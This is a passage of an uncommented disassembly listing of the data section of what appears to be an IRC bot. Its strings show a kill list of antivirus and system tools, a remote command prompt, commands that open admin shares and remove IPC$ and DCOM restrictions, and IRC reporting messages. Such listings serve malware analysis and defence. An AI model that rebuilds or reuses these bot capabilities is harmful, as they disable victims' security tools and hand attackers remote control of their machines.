					; DATA XREF: sub_419460:loc_4194FDo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419460:loc_4194C3o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419460:loc_4194AFo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo
		align 4
dword_439D58	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419594+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439D84	db  2Dh	; -		; DATA XREF: sub_419594+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		dd 6D202D03h, 61737365h, 73206567h, 20746E65h, 63637573h
		dd 66737365h, 796C6C75h
		db    0
		align 4
		dd 7530h
off_439DB0	dd offset aRegedit_exe	; DATA XREF: sub_4196BD+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439EB8
		dd offset dword_439EAC
		dd offset dword_439EA0
		dd offset dword_439E94
		dd offset dword_439E88
		dd offset dword_439E7C
		dd offset dword_439E6C
		dd offset dword_439E60
		dd offset dword_439E54
		dd offset dword_439E48
		dd offset dword_439E3C
		dd offset dword_439E2C
		dd offset dword_439E20
		dd offset dword_439E10
dword_439E10	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BD+ECo
					; ___:00439E0Co
dword_439E20	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439E08o
dword_439E2C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439E04o
dword_439E3C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439E00o
dword_439E48	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DFCo
dword_439E54	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DF8o
dword_439E60	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DF4o
dword_439E6C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439DF0o
dword_439E7C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439DECo
dword_439E88	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439DE8o
dword_439E94	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439DE4o
dword_439EA0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439DE0o
dword_439EAC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439DDCo
dword_439EB8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439DD8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DD4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DD0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439DCCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439DC8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439DC4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439DC0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439DBCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439DB8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:00439DB4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_439DB0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BD+191o
		align 4
unk_439F68	db  2Dh	; -		; DATA XREF: sub_4198EC:loc_419973o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439F8C	db  2Dh	; -		; DATA XREF: sub_4198EC+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_439FB0	db  2Dh	; -		; DATA XREF: sub_4198EC+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o
unk_439FE0	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419C42o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A010	db  2Dh	; -		; DATA XREF: sub_419B10+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A038	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419BF6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A068	db  2Dh	; -		; DATA XREF: sub_419C65+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A09C	db  2Dh	; -		; DATA XREF: sub_419C65+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A0C0	dd offset dword_43A0F8	; DATA XREF: sub_419E7A+1B3o
					; sub_41A19E+17Ao
		align 8
		dd offset dword_43A0F0
		align 10h
off_43A0D0	dd offset dword_43A0EC	; DATA XREF: sub_41A19E+1E3o
		dd offset off_43A0E8
		dd offset dword_43A0E4
		dd offset off_43A0E0
off_43A0E0	dd offset dword_5C3A44	; DATA XREF: sub_419E7A+217o
					; ___:0043A0DCo
dword_43A0E4	dd 2444h		; DATA XREF: ___:0043A0D8o
off_43A0E8	dd offset byte_5C3A43	; DATA XREF: ___:0043A0D4o
dword_43A0EC	dd 2443h		; DATA XREF: ___:off_43A0D0o
dword_43A0F0	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A0C8o
dword_43A0F8	dd 24435049h, 0		; DATA XREF: ___:off_43A0C0o
dword_43A100	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2E5o
					; sub_41A19E+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A130	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43A158	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A0DCo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A184	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43A1A8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A049o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A1D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43A1F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FACo
					; sub_41A19E:loc_41A2CCo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A228	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FA5o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A264	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419F87o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A298	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo
					; sub_41A19E+EDo
		align 4
dword_43A2E8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+91o
					; sub_41A19E+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A318	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E7A:loc_419EE7o
		dd 62617369h, 2E64656Ch, 0
dword_43A338	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E7A+54o
					; sub_41A19E+54o
		align 4
dword_43A368	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19E+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19E+219o
dword_43A398	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A33Do
					; sub_41A19E:loc_41A40Eo
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A3C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+198o
					; sub_41A19E+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A3E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2C5o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A41C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2A7o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A454	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A494	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19E:loc_41A20Bo
		dd 6C62616Eh, 2E6465h
dword_43A4B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A508	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AF+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AF+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AF+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AF+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AF+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AF+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AF+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AF+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AF+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AF+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AF+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AF+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AF+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AF+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AF+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AF+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AF+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AF+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AF+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AF+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AF+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88C+52o
dword_43A720	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA43+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A7FC	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA43+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA43+EBo
dword_43A828	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF7+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A86C	dd offset word_412F4E	; DATA XREF: sub_41ACF7:loc_41AD63o
off_43A870	dd offset dword_4E414C	; DATA XREF: sub_41ACF7:loc_41AD59o
dword_43A874	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF7+5Bo
dword_43A87C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF7+48o
unk_43A88C	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF6Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A8BC	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF68o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A8E8	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB6+1A0o
		dd 4C525520h, 2Eh
unk_43A904	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF49o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A940	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB6+18Co
		dd 64657469h, 2Eh
dword_43A95C	dd 2A2F2Ah		; DATA XREF: sub_41ADB6+3Bo
dword_43A960	dd 6AB1A5B4h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A970	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A97C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A988	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A98C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A9A0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A9A4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A9B0	dd offset off_43A9B0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A9B4	dd offset off_43A9B0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A9C8
		dd offset dword_43A9C8
dword_43A9C0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A9C8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A9B8o
					; ___:0043A9BCo
off_43C9D0	dd offset off_43A9B0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C9D4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C9D8	dd offset word_43C9E2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C9DC	dd offset word_43C9E2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C9E2	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C9D8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBE4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43CBE8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43CBF0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43CBF4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43CBF8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43CC00	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43CC04	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43CC10	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCF0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43CCF4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE58	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43CE60	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43CE68	dd 14h			; DATA XREF: sub_421624+2o
off_43CE6C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427870h, 1Ah, 42C960h, 1Bh, 427868h, 1Fh, 427860h
		dd 13h,	427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h
		dd 0Fh,	427838h, 10h, 427830h, 5, 427828h, 1Eh,	427824h
		dd 12h,	427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch
		dd 15h,	427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh
		dd 18h,	4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h
		dd 23h,	4277CCh, 24h, 4277C8h
dbl_43CF40	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43CF50	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43CF68	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43CF74	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43CF80	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43CF84	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43CF88	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43CF8C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43CF90	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43CF94	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43CFA4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43CFA8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43CFAC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D020	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43D024	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43D028	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43D02C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43D030	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43D038	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43D03C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B8Ch, 9, 427B60h, 0Ah,	427B3Ch, 10h, 427B10h
		dd 11h,	427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h
		dd 19h,	427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h
		dd 78h,	427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h
		dd 0FFh, 427958h
off_43D0C8	dd offset dword_4DBC80	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DBC80
		dd 101h
dword_43D0D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43D0E8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D108	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D138	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43D348	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43D350	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43D358	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43D370	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D388	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43D38C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43D390	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43D394	dd offset dword_545350	; DATA XREF: ___:off_43D414o
		dd 0Fh dup(0)
off_43D3D4	dd offset dword_544450	; DATA XREF: ___:off_43D418o
		dd 0Fh dup(0)
off_43D414	dd offset off_43D394	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43D418	dd offset off_43D3D4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43D420	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43D424	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43D428	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43D430	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43D434	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43D438	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43D43C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43D46C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43D470	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43D4A8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
